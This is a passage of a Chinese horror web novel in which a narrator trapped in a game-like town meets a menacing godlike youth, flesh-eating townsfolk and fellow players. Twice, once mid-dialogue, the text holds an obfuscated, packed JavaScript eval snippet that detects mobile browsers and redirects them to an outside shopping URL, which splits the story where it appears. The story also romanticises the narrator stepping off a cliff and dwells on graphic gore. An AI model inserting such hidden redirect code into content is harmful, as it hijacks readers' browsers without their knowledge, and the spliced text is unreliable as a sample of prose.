只是为什么要死在床上? 地上不行吗? 我收回目光,转念思考起来。 也不知道我那具身体怎么样了……等等,那具身体好像没有呼吸来着。 啊完了。 我拔腿就跑。 ……等等。我放慢速度。 为什么要着急? 我思考着。 哦,因为我现在位于一个副本里,因为我现在在扮演一个急于通关的玩家,因为为了不被其他玩家误会。 可是——为什么要担心被其他玩家误会,就这样以为我死了不是很好吗?毕竟时无序可是已经‘死掉’了,死掉的人怎么可能是信徒呢? 好吧,这真是漏洞百出的说辞。 其实我只是……只是什么来着? 大脑一片空白。 于是我停了下来。在山上的一处森林里。 即使雾气已经散去,空气中仍潮湿闷人,泛着点腥气的泥土味。 我漫无目的地走,停在了一处悬崖边。 然后坐在了带了点水汽的湿漉草地上。 崖边风景很好,可以总览小镇布局。可惜我现在不想看这个。 风呜呜的吹着,太阳照着,悬崖很高。 我想跳下去。 这种高度,即使是魔物也是会死的吧。 跳下去不过是失去生命,却可以体验心脏活跃异常的别样快感呢! 我蠢蠢欲动,一只脚已经伸了出去。 然后只需要向前移动第二只脚—— 就笔直掉了下去。 失重。 □□不断下坠,灵魂却恍若悬留停滞在上空。就好像将我分成了相同,又不同的两部分。 呜呜,好爽。 我闭上了眼睛。 感官一瞬间达到极至,我似乎成了条自由的鱼,向上流动的风从身边经过,带来阵阵难以遏制的颤栗。 嗯……风怎么突然减弱了? 我困惑的睁开了眼。 哦,原来是掉在半山腰时被马赛克青年捞起来了。 他不再是少年形态,五官等比例放大,但跟那尊神像面容相比依然稚嫩了些。 “咦你怎么出来了?”我奇怪。 到底该先好奇他的臂力之强呢,还是该先对副本NPC会捡人表示称赞呢。 身边气压又低了些。 大概……应该先说声对不起?我迟钝又迟疑地想到。 他一只手提溜着我的脚,脸色发黑、薄唇紧抿,颇有风雨欲来的意味。 “你在干什么?”青年声音低沉冰冷,恍若强压怒火。 不合时宜的,我想到了系统传输的信息中好像有一种教的教徒视自杀为罪行……莫非青年就是那个教的? 我缩了一下脖子,没敢老实交代,“在吹风。不小心掉下来了。” 好吧,他没信。 我抱紧自己凉飕飕的胳膊,往旁边移了几步。 被青年扣押回房间的路上,我被警告远离神庙。 简直莫名其妙。 “你今早还希望我成为你的信徒留下来呢,怎么又改主意了?”说到这,我伤感的摸了摸自己的脸,“难道我变丑了不成?” “没有。”沉默一路的青年开口,“离祂太近对你没有好处。” “祂?” 青年避开了我询问的目光,沉甸甸的神情表明对方心情不愉。 显然再问下去就冒犯了。 “总之这个小镇不是什么好地方,你早些离开吧。” “………” 青年的住所比起旅馆不知道好了多少倍,一套小公寓住两个人绰绰有余。 我躺在沙发上,聚精会神的盯着电视,嘴中咔嚓咔嚓嚼着薯片。听到青年从门外进来发出的关门声便大声道:“要吃酒酿圆子!” 俨然一副主人的姿态。 把买回来的水果蔬菜搁置在厨房台柜上后,或许是见我总是赖在家里不出去,青年无奈道:“不想去找你的那些朋友吗?听说他们最近在四处打听什么。” 我扒拉手指,今天已经是进入副本的第三天了,周围却仍然一切正常——整个小镇没有一个人死亡,温和的简直不可思议。 玩家投票也没有动静。 “不要。” 好吃好喝好住所,我已经乐不思蜀了。 再见了,我的队友。挥手jpg. 不过提到小镇的异常,除了对所谓‘神明’的狂热痴迷外,他们的年龄比例也很不正常。小镇零零总总七八百人,整条道上年龄六七十以上的比比皆是,但新生儿却一个没有。 而且按理说有一堆半步入土的大爷大妈住的地方怎么着都得有个卖花圈寿衣的殡仪馆或坟地吧? 小镇上没有。 先前上山下山途中我都有留意,可是没有见到一处坟墓。 不应该。 凡是信念神灵的大多都比较注重死后尸体是否被妥当处理,因此小镇居民不会选择火葬与水葬,那么土葬就是最有可能的处理方式。 除非…… 看着电视中被鬼怪追的鬼哭狼嚎的人类,我突然有了一个猜测,而今晚就是我付诸行动的好时机。 11. 华北小镇(6) 【第三天,二十二时】 黑夜再次笼罩在小镇上空。 别墅内空荡荡的,没有一个人影。 青年每天22:00离开,第二天上午9:00回来。 神啊,希望我们不会相见于某个倒霉镇民家中。 我双手合十祈祷。 上帝大概是管不到副本里的。 月黑风高夜,我和马赛克版本的青年相遇于镇长家中。 旁边还有一具尸体,以及握着嘀嗒血菜刀,神情扭曲的镇长。 “打扰了。”我干笑,神情僵硬的打招呼。 然后以迅雷不及掩耳之势翻窗而逃。 打架是不可能打的,哪个正经游客会在大半夜潜入镇长家里行不轨之事啊! 听到身后镇长怪异的嚎叫声,以及周围居民住宅里陆续传出的悉悉索索声,我欲哭无泪。 ——不过哪个正经镇长会半夜杀人并鬼哭狼嚎啊!? 我加快了奔跑速度,整个魔几近成为一道残影,很快便甩开了身后身形敏捷的大爷大妈们。 象征性的抹了把不存在的汗水,秉持着“最危险的地方就是最安全的地方”,我又重新回到了镇长家里。 卧室里的那具尸体已经不见了,地面上只留下一长条已经凝固的紫色血迹,大概是死者临终前曾挣扎着向门外扭动以求丝毫生存的希望。 我跨过血迹,四处翻找东西。 功夫不负有心魔,在床下的暗格里发现了一本厚重的陈年日记。上面布满了灰尘,边角还有零碎蜘蛛网。 轻拍了两下灰,我小心打开了陈年的封皮。 首页是一排排清丽俊秀的字体。 快速浏览,其中内容与那位自称神明的少年所述相差无几,只是这篇用的是第一人称,情绪表达更加激烈直观。 也正是因为这种自带的情感,我才能更直观的感受到记录者对于小镇的恶心和厌恶。 想来也是,一个二十出头的大好青年为了小镇居民冒险去城市,好不容易发展出头,娶个老婆生了个孩子过上还算富裕的生活,最后还是因为为了亲情、为了这个偏远小镇回来了。 结果呢,结果他只是离开了一个下午,晚上回来时就看见老婆孩子的尸体——浑身上下没一块好肉,啮齿的痕迹刻在白骨上的两具白骨森森的尸体! 甚至一旁正在啃食他妻子尸骨的阿婆早上还在乐呵呵的夸他媳妇长得真好看! 他恍惚的想,这个小镇已经不再是他记忆里那个充满温情与纯朴的小镇了,这是……这里已然是地狱。那些披着他邻居亲戚皮囊的也不再是他熟悉的人,而是一个个牙龈里夹着血肉的魔鬼。 日记到这里已经乱得几乎看不出原先的字迹,被水氤氲开的墨迹点缀着发皱发黄的每一页。 显然到这里记录者的精神状态已经不是很好了。 至于后来,他带着的那座重金求来的神明雕像会开口说话、说的什么话他也不记得了,只依稀记得自己木讷的点头答应了什么,之后便出现了一位面容完美到不似真人的少年。 至此,干旱结束,笔记也戛然而止。 日记最后面加了一张纸。我展开大体浏览,是一长串手写的名单,每个字都被深深地刻在单薄的纸张里,力度大到每笔都像是在诠释男人的痛苦与自责。 这样看来镇长与镇民似乎是完全对立的两方。 我躺在青年家的床上,一时间竟然失语。 吃人的小镇,毫无底线的镇民、痛苦怨恨的受害者…… 或许有所谓幕后者在后推波助澜,或许没有。 无论如何我开始讨厌这个副本了。 【调查进度75%】 * 这边我翻来覆去睡不着觉,那边一楼的房门吱呀一声打开了。大概已经到早上九点了。 “小时吃饭了。” 青年的声音一如往常从楼下传来,我一咕噜从床上坐起,然后磨磨蹭蹭的将被褥叠起来——青年教的,不叠就没有零嘴吃。 拉开窗帘,外面晒进来的阳光照得暖和和的,我舒舒服服的伸个懒腰。楼下青年又催促了一遍,这是往常没有的,一种莫名感觉突然升起——青年今天看起来好像很着急。 这种直觉在触碰到门把手,触觉陡然传来的阴森冷意时愈发清晰。 我果断缩回了手。 那道熟悉的声音又响了起来,“小时,你怎么还不下来啊,再不下来今天就不允许看电视。”话到末尾还有种该死的诡异的甜蜜。我却冷不丁打了个寒颤。突然想起来的事让我手脚有些发凉——明明至今都没跟青年互换过姓名,“他”又是怎么知道我姓时的? 寒意顺着冰冷的地板往上攀爬,我不自觉地向后移动了几步。 那道诡异声音的主人仿佛察觉到了我的动作而陡然变得尖锐刺耳,如同指甲挠玻璃般的恐怖噪音直破云霄,“时无序快出来呀,快出吃饭呀,快出来呀!出来!!!”一道道与青年相似却不同的声音此起彼伏的叫嚷着,颇有种恶鬼索命的恐怖氛围。 说到鬼,青年家摆放的电视里有不少恐怖片,我这几天打磨时间时看了几部。 嗯,现在觉得房间里很热闹,床下衣柜窗帘后好像都有人。 我又往被子里面缩了点。 正当我默念我是一只缩头乌龟时,身后窗户突然传来砰砰的敲击声,那气势,那架势,敲得我差点心脏暂停。 我回头,一眼就与那个两颊瘪进去的老太太对视,那双爬满红血丝状蠕虫的眼睛此时被紧紧挤压在闭合的窗户上,一眨不眨地看着我,从眼眶爬出的蠕虫被巨大的眼珠子挤碎,在玻璃上留下密密麻麻的褐色斑点,瘆人又恶心。 而老人鼔裂开肚子上数道很深的口子,里面的内脏肠子漏的到处都是,不少贴在玻璃上,干瘪发紫的皮肤上鼓出的脓包一个接一个炸开,黄褐色脓水叠着发浊的血液溅在窗户上,又因为重力缓慢下滑,留下黏腻黄痕。 我看见她裂至下巴的嘴一张一合,幅度极大,以至于口腔里的血肉残渣一清二楚。 她在说,时无序,快开门呀。 一边说,一边大力晃动那扇紧闭的窗户。 我:“…………” 刚刚担心早了,现在才是心脏暂停。 我干呕了一下。 我说怎么有种散不去的窒息腐臭味,原来是从这个死老太婆身上传出来的。 真,死老太婆,死得透透的那种。 平复了一下怦怦直跳的心脏,我选择眼不见心不烦躺床上睡觉。 ——那俩东西正是因为都进不来所以才一个劲催我出去,如今在室内待着除了臭和吵外至少不会遇到什么致命的危险。封闭嗅觉后又是个睡觉的好日子。 这回我真的睡着了。 而且睡得还有点沉,甚至还了个梦。 因为我好像看见青年正站在床头满脸探寻的俯视我…… 肯定是幻觉,是噩梦。 我闭上眼,再睁开。 正好跟青年空芜一片的白色双眼对视。 那双眼睛此时不满的微微眯起,“看到我了还装睡?” 我去,是真人。 青年玩味道:“怎么,吓着你了?刚刚在那两个玩意旁边不是睡得挺好的。” “这不是您的尊位更高吗。” 我眉眼含笑,抬眼看向俯身的青年,“他呢?” 眼前这位显然不是最近和我同吃同住的那个。 虽然长得一模一样。 窗外仍旧是黑天,先前看到的天亮与暖意也不过是假象。 我语意不详,但青年明显听懂了言下之意,眼底原本残留的少许温度彻底消散,他烦躁的啧了声,“就这么不想看见我?” 修长有力的手攀上我的咽喉,冰凉的触感在其上反复摩挲,良久,青年像是想到了什么有趣的事,低沉着嗓音轻笑道:“吾说过会来找你的,吾钦点的信徒。” 装上了,连自称都变了。 我不躲,任由青年拢住脖子。 随着他的手一点点缩紧,眼前渐渐浮现磨砂纸似的破败黑白波纹,窒息间我恍惚听见了脖颈处发出脆弱的断裂声。 这个‘有趣的事’该不会是指一点点把我掐死吧? 我一把攥住他发力的那只手,“我…我也有想问的……关于你的问题。” 其实在我发出第一个音节时,青年桎梏在喉咙处的手瞬间卸了大半的力度,似乎早有预料,又像是对于【阻止掐死时无序】这件事比我还迫不及待。 “说。”声音听起来温和了几分。 我缓了缓气,在对方莫名期待的注视下,嗤笑一声,满眼挑衅:“你是怎么进来的?还有……为什么和他长得一样?” 青年漂亮的丹凤眼眯了起来,脸色倏地又沉了下去。 “这就是,你说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670833|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,关于我的问题?” 他咬牙切齿地吐出一字一句,脸色阴沉的仿佛下一秒就要让我血溅当场。 “不然呢?” 我挑眉,挺起上半身靠向他,意味深长道:“还是……我们的神明大人想听点什么特别的?” “你……!” 他呼吸一滞,猛地向后退了几步,似乎被气得说不出来话,却将按在我喉咙处的手收了回去,只是阴恻恻地站在床头,企图用目光将我分割成片肉——就像我爱吃的切片熏鸡。 我无所谓地伸了个懒腰。 那道视线立即落在我从被褥里露出的睡衣上,之后就停滞在那不动了。 青年看了眼睡衣再看一眼我,一时间神情古怪。 他像是有点不确定,语气带着点急迫甚至是紧张,语速很快问道:“你穿的衣服是他的?” 我点头。 没办法,我的衣服与这个副本的时代背景割裂感太强了。 他像是想到了什么,脸色一会舒缓一会阴沉。 看得我不由感叹果然一些‘人’生来就有常人所不能有的天赋,比如修仙,比如变脸。 “你……”他似乎想说些什么,话到嘴边又被咽了回去,最后只是烦躁的捋了把额前的碎发。 相比现在阴晴不定向着变态靠拢的青年,我有点怀念之前那个傲娇的漂亮少年了——即使那副面孔也只是装出来的。 “时无序,我知道你想做什么,但今夜不要出门。” 青年最终还是收回了一早贴在我太阳穴处的刀锋,面色复杂的留了句话便消失在原地。 我也缓缓收回脑海中反复回放的关于刀锋穿过我的太阳穴,在我的脑袋里面咕叽咕叽搅拌的诡异画面。 死不死不知道,但一定会很疼。 也不知道现在几点了。 我抬手揉了揉被掐住的部位,想来那里已经青紫一片。 此时窗外阴沉的夜色已经掩盖了月光,狂风啃食着莎莎挣扎的树叶。 出去? 还是继续睡觉? 我想了想,决定再出去溜达溜达。 溜着溜着就到了那间破旧的旅馆。 我对旅店老板起死复生这件事很感兴趣。 旅馆与之前破又有所不同,之前好歹只是看起来像不牢固的豆腐渣违规建筑,现在到处都是窟窿眼,如同漏风的骷髅头。 我蹲在屋檐上,空气中浓郁的血腥味呛得我直皱眉,底下具具凌乱的、被开膛破肚的尸体,以及十几个以一种僵硬姿态在染上深红地面上爬动的‘中老年人’。 他们的模样与先前挂我窗户上的那位老太太相差无几,头部与四肢如同失去水分般干瘪下去,下身的肚子却不自然的膨胀,因撑大而生出血痕般的裂痕遍布粗糙的□□,就像是有生命的东西在其中吸取宿主全身的营养。外观同‘人面蜘蛛’极为相似,丑陋程度有过之而无不及。 其中一个年迈老爷爷晃悠着向前走了几步出现在一个中年妇女不到十米开外的地方,已经泛黄白的圆滚眼球像是窥见了什么,干枯的头颅咔嘣咔嘣左右扭动,像是下一秒就要掉下来,随后以非常人的速度扑向同样挺着肚子的中年妇女,下巴在一瞬间拉得很长,露出嘴中密密麻麻的黄褐色尖利牙齿朝女人咬去,伴随着肉沫横飞的“噗哧”声,没有反映过来的女人瞬间肢体破碎,巨大的肚皮破裂流出黄褐色的脓水伴着深红色流地满地都是。 周围的‘人面蜘蛛’像是听到了动静齐刷刷朝凶杀现场移动过来,鬣狗般分食尸体残渣,新鲜的血液又一次覆盖在已经凝固发紫的地面上。 血腥又瘆人。 完全就是座阴森森的鬼屋。 看着旅馆破碎的大门,抱着死道友不死贫道的理念我默默转身离开。 向东走来到小镇居民的住所,街道上已经到处都是游荡的大肚镇民,“嗬嗬”嘶哑声从被按在地上撕碎的人身上传出,宛若人间地狱。 如果镇上数百人全是这种东西,被发现了恐怕连塞牙缝都不够。 还特别难闻,简直跟排泄物无异。 我隐匿在黑暗中,鬼鬼祟祟的四处乱逛。 然后瞎猫碰上死耗子,发现了在变异镇民中穿梭却完好无损地一行人。 仔细看去,他们所经过的行尸竟然正在轻微颤抖。 ——而为首的正是前不久刚见过一次的镇长。 【第四天,凌晨】 12. 华北小镇(7) 黑夜被厮杀迸出的鲜血与火焰撕开,露出些许光亮。 披着黑袍的一行人对周围的尖叫声暴虐声视若无睹,甚至走在后尾的青年还有闲心与身旁的同伴聊天。 “喂,看到那边被咬掉半截身体的大肚娘们了吗,那是我亲爱的‘母亲’。”他恶劣地低笑几声,带着扭曲的恨意:“她一定很开心吧,毕竟‘母亲’她如今已经吃得很饱,并且——她永远不会再饿了。” “早在她把我们丢给那些吃人肉的畜生,拿我们换吃的时,就应该想到会有这么一天了不是么?” 青年自顾自的说着,也不管身边人到底听没听进去。 就好像他一时间突然渴望向人倾诉似的。 这种感觉指向鲜明,尤其只针对身旁这个沉默寡言的黑袍子。 ……真扯淡,他什么时候喜欢找人唠嗑?青年狐疑地眯起眼睛,不动声色打量起身旁一直一言不发的同伴。 对方脸被遮得严严实实的,但也看不出端倪。这可以理解,毕竟都是……他也不喜欢被光直射。 “说起来我好像从来没有见过你。” 他突然靠近,去抓黑袍子帽兜下面具的动作快到几乎看不清,却被后者轻巧躲过。 青年脸色一沉,杀意刚汇聚于五指之间,就听见一道清越好听的声音从对方漆黑面具下传了出来:“我不是小镇当地居民。初次乍来,请原谅我不喜欢对陌生人摘下面具。” 嗯? 心中盘亘缠绕的怨气在听到对方开口时倏地消散了,甚至还有些怪异的,如同小鱼吐泡泡般的喜悦。他难得真心笑道:“原来是外地的朋友啊,欢迎欢迎!不摘面具当然可以,我们热情好客,从来不会强人所难。“ 青年边走边说,不平整的地面上偶尔滚来的眼球被他不小心踩爆了浆。 “啧。”青年脸色阴了下去,不远处的一只行尸突然炸成了一朵烟花。 “烟花,好看吗?我们小镇的特产。” “……” “只有你一人来吗?会不会很无聊?” 黑袍子摇摇头,不知道回答的是哪个问题。 “远方来的朋友,你是第一次参加吗?叫什么名字今年多大了……” “呕。” 走在他们前面一点的少女回过头,张扬明媚的脸做出一副被恶心到了的表情,“徐泽,认识这么久了,我怎么不知道你竟然是这么热情的东西?” “热情与否得分人。” 青年,也就是徐泽,翻了个白眼,年轻的俊脸上满是轻视,“也不看看自己是个什么东西,配得上我的热情吗。” “皮痒了?”少女秀眉一挑,颇为不满。 “就凭你?”徐泽手上猛地燃起幽蓝色火焰朝徐礼砸去。 小姑娘即使反应过来向一旁闪去,但还是被烧着了发尾,火舌如同蛇信般向上伸展蔓延。 “你、找、死!”黑白色的眼球瞬间向后翻去,露出透着血丝的暗灰色底,原本白皙秀美的脸迅速发青发紫,周遭环境毫无征兆的冷了下来。 俨然一副女鬼的模样。 当然,她并不是鬼,但也不是人,这种非人非鬼的状态姑且就称为“怪物”吧。 其他怪物对此早已见怪不怪,比起这对爱打架的姐弟,她们还是更好奇混进来的‘新伙伴’。 徐家二姐弟是她们之中怨气最深,也是实力最强的,所以她们原本一直不敢靠上前去。如今那两人跑去打架了,这群怪物才悉悉索索的围了上去,叽叽喳喳的说个不停。 “别看徐家二姐弟脾气不是很好,但他们人,呸,怪物还是很好的。”“一看到你我就觉得好开心,好奇怪啊。你知道这是为什么吗?”“我也这么觉得欸!总觉得上辈子我和这个小弟弟肯定有点什么……”“嘿你真敢想,小弟弟漏个下巴都精致白皙的,你再瞅瞅你……”“怎么死的,死的时候疼不疼?”“呸呸呸,前面的你瞎问什么话呢,真没礼貌。”…… 黑袍青年被她们围在中间,时不时回几句话,然后激起一片欢声笑语。 走在最前面的镇长见他们停下了也没说什么,只是一个人找了个没有鲜血的空地坐着,浑浊的双眼空洞无神。 这条路就算没有他带他们也知道方向。 毕竟—— 这可是他们出生到死都离不开的地方。 只是……镇长看着被怪物们包围的黑色面具,忽然觉得这道身形有些眼熟。 那边怪物们聊着聊着就吵起来了,最后在一句“你怎么这么没礼貌,你难道没有父母”中倏地安静下来。 那个说错话的显然也意识到自己的失言,闭上了嘴。 最后不知道是谁哑着嗓子道:“我不需要那种亲人。” 也是。 如果她们有令人艳羡的亲情,如今便也不会从地府爬出来站在这里。 “走吧。”镇长拿着拐杖在地上轻点了两下,怪物们便安静了下来。 那边打架的那两兄妹也停了下来。一个从胸腔到腹部破了个血淋淋的洞,部分器官半漏不漏的耷拉在外面,模糊的血肉混合在一起像是没有煮熟的肉粥,看不出原型。另一个一手提着自己的脑袋正在鼓捣着怎么按回去。 提溜着脑袋的徐泽大步迈到青年跟前,沾满深红色血液的骨骼分明的大手往前一伸,就将痞笑着的头颅举到对方眼前。 头颅嘴巴一张一合,“朋友,帮忙按个脑袋呗。” * 带了股铁锈的腥臭味近在咫尺。 青年似是好脾气的站在那里,见我看向他还歪了歪断裂的脖子,看得见内里肉沫与骨骼的切口狰狞又可怖。 可他脾气分明算不上温和,甚至可以说是戾气。 是陷阱,试探,还是……? 我最终还是没接。 不仅不接,我还向后退了一步。 与视线齐平的头颅眨了眨眼睛,似是在疑惑。 “脏。”我慢吞吞道。 那张俊脸肉眼可见的有一瞬间空白。 “徐泽原来你也有今天啊。”另一边正在将肠子什么塞回去的少女“咯咯咯”的笑道。相比传统意义上的“花枝乱颤”,我想这位张扬艳丽的怪物完美呈现了什么叫做“血肉乱颤”。 像是注意到了我的目光,少女美眸一转原先破碎的身体一瞬复原。不等看清她的动作后者便出现在身前,与刚按好脑袋的徐泽各站在两侧。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670834|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 徐礼纤细苍白手指上大红的指甲油在月光下闪闪发亮,像流动在林间的血液与破碎的尸体。她随意把玩着自己的茶色长发,千层红的蔻丹在浅色中来回穿梭。 我游神天外,直到徐泽不耐烦的‘啧’了声才回过神来。 瞳孔再次聚焦时,徐礼不知什么时候已经停下了手中的动作,眼神怪异又兴奋的上下打量着我,那种被猛兽盯上的感觉与一旁的徐泽无异。若非我确信这身行头不会被戳穿,恐怕此时难免会慌了神露出破绽。 下一秒两怪同时出手一边一个握住我的手腕,冰冷的触感很容易让人联想到盘亘在枝条上伺机而动的毒蛇。 我身形一僵,两边压迫感毫不掩饰地对峙交锋带来的杀气雄厚而凛冽,再一看其他怪物早就熟练的如潮水似向四周散去,唯恐下一秒自身被波及。 身旁两人同时冷哼一声。 看来是撞大运,碰到了最强的两个。 虽然不理解为什么会被关注,但从目前没有怪物对我出手的迹象来看或许是件好事。 正当我浑水摸鱼时,一串奔跑踉跄的脚步声从不远处传来,与此同时空气中飘来丝缕血腥味。 我转头,与为首抱着‘我’的尚俞对上了视线。 黑暗中那双翠绿的眸子在火把与黑夜中形如鬼魅。 心脏剧烈起伏。 错开目光,我看向他身后的四人。 相比抱着个累赘身上只是沾了点血迹的尚俞,其他人就狼狈多了。黑框双马尾少女头绳不知道什么时候掉的,粘了大片血液的头发一块块糊在头皮上,衣服裤子上布满划痕与灰尘。短发姑娘肩膀被戳了个血洞,没来得及包扎的伤口不断向外淌血,她的脸色也因为失血过多而惨白一片。之前被我砍掉一只胳膊的上吊眼则骂骂咧咧的跟在尚俞身后,状态倒是比其她人看上去好了不少。 出乎意料,腼腆大汉反而是几人中状态最差的。小腿大概是被咬下一块肉,走路一瘸一拐不利索让他沦为队伍最末,老实憨厚的脸被抓住了几道狰狞山沟。面色发青,应该是中毒了。 在被限制的情况下,当下情形比我预料的情况好多了。 而玩家身后是穷追不舍的大肚镇民。 镇民们被隔离在树林之外,似乎碍于什么不敢靠近。 “看那么久,这些人你认识?”少女嘴角翘起,看不出真实态度。 尽管我很快收回了视线,却还是被一直盯着我看的徐礼发现了。 我脸不红心不跳,“只是觉得那个晕过去的很帅,所以多看了几眼。” 虽然这么说有点自恋,但看着被转移注意力的徐家兄妹,效果意外不错。 果然,下一刻握住我手腕的两只手同时松开,向尚俞的方向攻去。 我揉了揉发红的手腕,趁没有人注意转身隐入身后层层掩映的树林中。 夜晚起了雾,空气潮湿。 【第四天,‘游客’身份牌禁锢解除】 像是有意推迟,系统的提示音终于响起。 我猛地停下脚步。 不知何时已经到前面的徐泽晃了晃手中的幽蓝火焰,嗓音低沉愉悦—— “不好意思,此路不通哦。” 13. 华北小镇(8) 徐泽尾音刚落,视野所接触的万物便突然间天旋地转,空间裂开了一条深不见底的缝隙。 我被缝隙吸了进去。 最后的画面是青年慌张的朝我伸手。 不知过了多久,我从一片嘈杂声中醒来,四下黑暗,借着墙壁上微弱火光我看清了周围的环境。 是地牢。 四面八方是密布的铁栏杆,红色铁锈如同藤蔓爬上通体漆黑的柱子。地面尘土垫的厚厚一层,已经干涸的血液凝固在上面,呕吐物、排泄物,以及人类毛发缠绕的肮脏线团滚落的到处都是。空气中干燥的像是没有一滴水分,闷得使人喘不上来气。 啧。 真是恶劣的环境。 稍微活动一下手腕,原先紧捆双腕的麻绳便像被无声利刃割碎般断裂落在地上。 敏锐的听力捕捉到了渐行渐近的脚步声。 沉重、蹒跚,没有丝毫威胁可言。 我所在的铁笼子是这里的最后一间,因此我气定神闲的倚在稍微干净一点的栏杆上,决定先看看这些人打算做什么。 从拐角处的楼梯口下来了三四个人………确切来讲是五个干瘪如同枯木般,似乎快行将就木的男人。年龄从骨骼发育来看不过三十出头,他们的脸颊却深深凹进血肉里,四肢皮包骨,唯有布满血丝的眼睛鼓出来一转一转的,里面满是淤积成泥的疯狂。 他们手上拿着钥匙,还有沾着血迹的木棍、菜刀,扭曲的贪婪呈现在面容上,明明灭灭的在黑暗中像是食人的恶鬼。 喜闻乐见,第一间里面的玩家是上吊眼。 他似乎刚迷迷糊糊转醒,猛地看到身形诡异的身前人时吓得浑身一抖,手脚并用向后退缩,口中虚张声势大声咒骂着。 下一秒鲜血泼洒半空,仅剩的一只手臂被砍了下来。 凭借良好的夜视能力,我清晰地看到为首的小镇居民在短暂迟疑后竟饥渴地吸食着手臂嘀嗒下来的血液,又很快被身后的人抢去,他们如同长着口器的蚊蝇,在腐烂中大快朵颐。 似是觉得只是喝几口血不过瘾,磨牙发出的“滋滋”声在黑暗中接连响起,他们中的某个人突然扑上前冲着冷掉的胳膊咬了下去,肉块就着血液润了他干涸枯白的唇,如同破乱床单般皱起的面皮上溅了数滴血液。另外几人一时不察,呆呆看着蹲在地上鬣狗般啃食的同类,突然其中一人暴起,举着手中刀“咣”的一声便砸了下去,瞬时尸首异处,头颅咕噜咕噜顺着不平的路面滚到一旁。 剩下四人没再去看昏死过去的上吊眼,而是拖着地上那具还没冷掉的尸体缓慢顺着楼梯上去。 令人不寒而栗。 “……接下来该怎么办?”黑暗中发出窸窸窣窣的动静,听声音像是短发姑娘的。少女声音不再清脆,难以抑制的恐惧与反胃或许使她头晕目眩,她的嗓音愈发沙哑。 “地牢的门单靠撞肯定撞不开……谁有解锁的道具或【天赋】,暴力拆除也行。大家现在都在一条船上,也别藏着掖着了。” “我的相关能力或许可以一试,但现在一点也用不上来劲。”是大汉有些无奈的声音,“中毒debuff现在就挂在我头上。” “……操。” 一阵低低的咒骂过后,周围又陷入了沉默。 若是不能离开,她们就是砧板上的鱼肉,等待她们的只会是那群已经丧失人性只知饱腹的镇民手中挥起的斧子。 “等等……或许我有个办法。” 那边一道略显迟疑的男声响起,“但是需要你们分别告诉我你们的【天赋】和道具。只是大体说一下使用方向就好了。” 是尚俞。 他像是突然想起了什么声音有些急促,断断续续道:“我…我没有窃取你们信息的意思啊真的,你们也都知道我的【天赋】就是【分析】,不知道手里有什么可以利用的这能力也没法使用啊。” “你们如果愿意的话,我这里有可以一对一对话的话筒道具,T6级的,嗯还有我绝对不是那个信徒……”他情绪突然低落下来,“也不知道小时哥现在在哪里,要是待会他们再回来,第三个被杀的就是我……” “尚小兄弟我信你!之前在小镇旅馆中多亏你使用【天赋】才将我们救出来,除了你这里我谁也不信!”腼腆大汉抬声打断道,语气神态可谓是恳切又诚心。 双马尾黑框少女紧靠上吊眼所在的那间牢房,先前发生在眼前极具冲击色彩的画面使她接连干呕几声,此时也抽泣着附和道:“是啊,T6列道具都愿意拿出来分享,我们肯定信你。我现在就可以告诉你只要你能救我离开这里!我真是受够……受够这种人为刀俎我为鱼肉的现状了!” 除了昏死的上吊眼,玩家中只剩短发女没有表态了。 “大妹子你还在犹豫什么,万一待会那些人又下来了呢??尚小兄弟多高尚一人啊难道还会骗我们不成。”腼腆大汉不再腼腆,天花板上走动声不断,像是在他脆弱的神经上跳舞。 “大叔说得对,那些疯子指不定什么时候就回来,等他们回来下一个遭殃的就是我!”双马尾少女语速越来越快,越说越怀疑,越说越肯定,“还是……那个【信徒】其实就是你,你故意拖延时间好等到我们都死了,你也不用动手了!” “不是我,你先冷静一下。”短发女冷静道:“我在想对方现在一共四个人,虽然是成年男性,但能看出他们都处于脱水的状态,而且长时间没有正常进食,这种情况下一个人是有可能干掉对方四个的。现在【天赋】和道具都恢复了……” “你睁开眼看看他们状态正常行吗?那他妈的很明显已经不是正常人范畴了!他们还有刀有木棍!还杀过很多人!你在最后一间你是不着急,还让我手无寸铁上去跟四个人打!?真要脸!我才下过几局副本能有什么道具啊呜呜呜呜……” “嘘,深呼吸,对,小点声。” 眼见声音分贝逐渐拔高,牢房挨在双马尾旁边的尚俞连忙出声缓和。 他看向短发女,眉眼温和,“你不原因相信一个萍水相逢的玩家我可以理解,但现在这种情况毕竟联系着大家的生命,如果不能告诉我【天赋】,只说道具也可以。” 短发女沉默了一会,在密不透风的四方地牢中到底还是同意了。 我挑眉看着他们挨个传话筒,看着尚俞将门一间间打开,看着他们急匆匆的离开地下。 期间没人往深处走,也没人往这边看过来,就好像有无形的屏障将空间分成了两半。 说不定真有呢。 我眨眨眼睛。 什么【天赋】、【道具】的……搞什么,原来货真价实的新人只有我一个。 明灭的火光中,我琢磨起玩家谈话间带出的信息。 ‘游客’身份牌禁锢的解除,意味着所有玩家被禁用的能力回来了,也意味着可以在副本中做任何事且不会受到系统惩罚。但不是每个副本都有身份牌的解除,也不是每个副本在剧情期间都会限制玩家。 本该是这样,理应是这样。 我抬起手,漆黑的雾气便在手中汇拢。 在这个副本里,我自始至终都能使用自己的力量。 所以最初出手割掉上吊眼胳膊的时候,玩家们长时间的沉默除了对我身份的怀疑,还有对能力不受限的震惊。 副本的压制我感受到过,只是那力道太弱,稍一挣便不小心挣开了。 